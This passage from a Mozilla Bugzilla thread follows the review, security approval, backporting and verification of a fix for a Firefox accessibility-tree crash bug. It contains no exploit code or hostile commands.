> > uh that MOZ_CRASH should be a MOZ_DIAGNOSTIC_ASSERT or maybe a
> > MOZ_RELEASE_ASSERT
> 
> what's difference between those?

if they crash in release and beta

> > > ::: accessible/tests/mochitest/treeupdate/test_bug1278915.html
> > > this function has a bunch of async operations happening in parallel but is
> > > written and is completed as if it they were sequential. If this is not
> > > intentional, it has to be improved.
> > 
> > If you mean that the setTimeout for simpleTest.finish() will almost
> > certainly happen before the others yes, the test is racey as written and
> > should block SimpleTest.finish() on the other things happening.
> > 
> > That said I suspect it wouldn't be hard to write a much simpler and easily
> > understood test case instead of checking in some fuzzer spew.
> 
> I tried but couldn't do that myself in reasonable time, I'm not even sure I
> understand how the test works, because, for example, f1 function is not

I usually understand them by seeing what happens in a debugger, and then writting js that does that.

> called explicitly by anyone. So I decided to put a test case as is into
> mochitests. Also we have a bunch of tests like this in treeupdate folder
> already: they do some crazy stuff and then finish via setTimeout.

Its not the end of the world, it would just be nice to have easier to understand things when tests fail.

alexander :surkov (:asurkov)

Assignee

Comment 15

•

8 years ago

https://treeherder.mozilla.org/#/jobs?repo=try&revision=1ec0bd89fc78

alexander :surkov (:asurkov)

Assignee

Comment 16

•

8 years ago

Attached patch patch — Details — Splinter Review

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

not trivial

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

no (the test should go separately)

Which older supported branches are affected by this flaw?

all starting from beta

If not all supported branches, which bug introduced the flaw?

regression range hasn't been done, but that has to be one of the bugs from accessible tree mutation rework (main bug is bug 1255009).

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

should be same as the original patch

How likely is this patch to cause regressions; how much testing does it need?

the patch is relatively easy, rejecting the accessible tree insertions that shouldn't happen in practice, but happens under some crazy conditions.

Attachment #8772187 - Flags: sec-approval?

alexander :surkov (:asurkov)

Assignee

Comment 17

•

8 years ago

(In reply to Trevor Saunders (:tbsaunde) from comment #14)

> > > uh that MOZ_CRASH should be a MOZ_DIAGNOSTIC_ASSERT or maybe a
> > > MOZ_RELEASE_ASSERT
> > 
> > what's difference between those?
> 
> if they crash in release and beta

thks

> > I tried but couldn't do that myself in reasonable time, I'm not even sure I
> > understand how the test works, because, for example, f1 function is not
> 
> I usually understand them by seeing what happens in a debugger, and then
> writting js that does that.

I definitely see what happens in a debugger, but a chain of events leading to the crash is no way trivial

Al Billings [:abillings - ex-MoCo]

Comment 18

•

8 years ago

Comment on attachment 8772187 [details] [diff] [review]
patch

sec-approval+ for trunk. We'll want this nominated for Aurora as well.
I'd *like* to take this on Beta but I'll defer to the Release Management team if they don't want to take it. I think this is important enough that we probably should.

Attachment #8772187 - Flags: sec-approval? → sec-approval+

Daniel Veditz [:dveditz]

Comment 19

•

8 years ago

For one thing it's new in fx48, would be nice not to ship this vuln.

alexander :surkov (:asurkov)

Assignee

Comment 20

•

8 years ago

https://hg.mozilla.org/integration/mozilla-inbound/rev/8df802dec5fbf1e04401e87a15acd2a04bff7680
Bug 1278915 - make sure to not add a non document accessilbe children under outerdoc, r=yzen

Carsten Book [:Tomcat]

Comment 21

•

8 years ago

https://hg.mozilla.org/mozilla-central/rev/8df802dec5fb

status-firefox50: --- → fixed

Target Milestone: --- → mozilla50

Carsten Book [:Tomcat]

Updated

•

8 years ago

Status: NEW → RESOLVED

Closed: 8 years ago

Resolution: --- → FIXED

alexander :surkov (:asurkov)

Assignee

Comment 22

•

8 years ago

Comment on attachment 8772187 [details] [diff] [review]
patch

Approval Request Comment
[Feature/regressing bug #]: accessible tree mutation rework (main bug is bug 1255009)
[User impact if declined]:security issue
[Describe test coverage new/current, TreeHerder]:fair coverage of current mochitest for patched code, running on nightly, new mochitest will be landed if/when aurora/beta will backport the patch
[Risks and why]: low - simple patch, explicit rejection of unexpected/wrong things
[String/UUID change made/needed]:no

Attachment #8772187 - Flags: approval-mozilla-aurora?

Al Billings [:abillings - ex-MoCo]

Comment 23

•

8 years ago

Comment on attachment 8772187 [details] [diff] [review]
patch

Approving for Aurora.

Sylvestre, feelings on Beta for this? If we take it on 48, we can avoid shipping this bad bug.

Flags: needinfo?(sledru)

Attachment #8772187 - Flags: approval-mozilla-aurora? → approval-mozilla-aurora+

Sylvestre Ledru [:Sylvestre]

Comment 24

•

8 years ago

Comment on attachment 8772187 [details] [diff] [review]
patch

[Triage Comment]
OK, as you said in comment #18, we should probably take it.
Can we verify that we don't crash anymore with the test case in comment #0?

Thanks

Flags: needinfo?(sledru)

Attachment #8772187 - Flags: approval-mozilla-beta+

Al Billings [:abillings - ex-MoCo]

Comment 25

•

8 years ago

Jesse, can you verify the fix?

Flags: needinfo?(jschwartzentruber)

Daniel Veditz [:dveditz]

Updated

•

8 years ago

Group: dom-core-security → core-security-release

Jesse Schwartzentruber (:truber)

Comment 26

•

8 years ago

No longer reproduces in mozilla-central.latest.firefox.linux64-asan-opt buildid=20160720145525

Status: RESOLVED → VERIFIED

Flags: needinfo?(jschwartzentruber)

Carsten Book [:Tomcat]

Comment 27

•

8 years ago

https://hg.mozilla.org/releases/mozilla-aurora/rev/e6d4eb4ec464

status-firefox49: --- → fixed

Carsten Book [:Tomcat]

Comment 28

•

8 years ago

https://hg.mozilla.org/releases/mozilla-beta/rev/4eeec5efeb5f

status-firefox48: --- → fixed

Al Billings [:abillings - ex-MoCo]

Updated

•

8 years ago

status-firefox47: --- → unaffected

status-firefox-esr45: --- → unaffected

Whiteboard: [adv-main48-]

Daniel Veditz [:dveditz]

Updated

•

8 years ago

Keywords: csectype-bounds

Daniel Veditz [:dveditz]

Updated

•

7 years ago

Group: core-security-release

patch 8 years ago alexander :surkov (:asurkov) 6.80 KB, patch	yzen : review+	Details \| Diff \| Splinter Review
patch 8 years ago alexander :surkov (:asurkov) 2.40 KB, patch	abillings : approval-mozilla-aurora+ Sylvestre : approval-mozilla-beta+ abillings : sec-approval+	Details \| Diff \| Splinter Review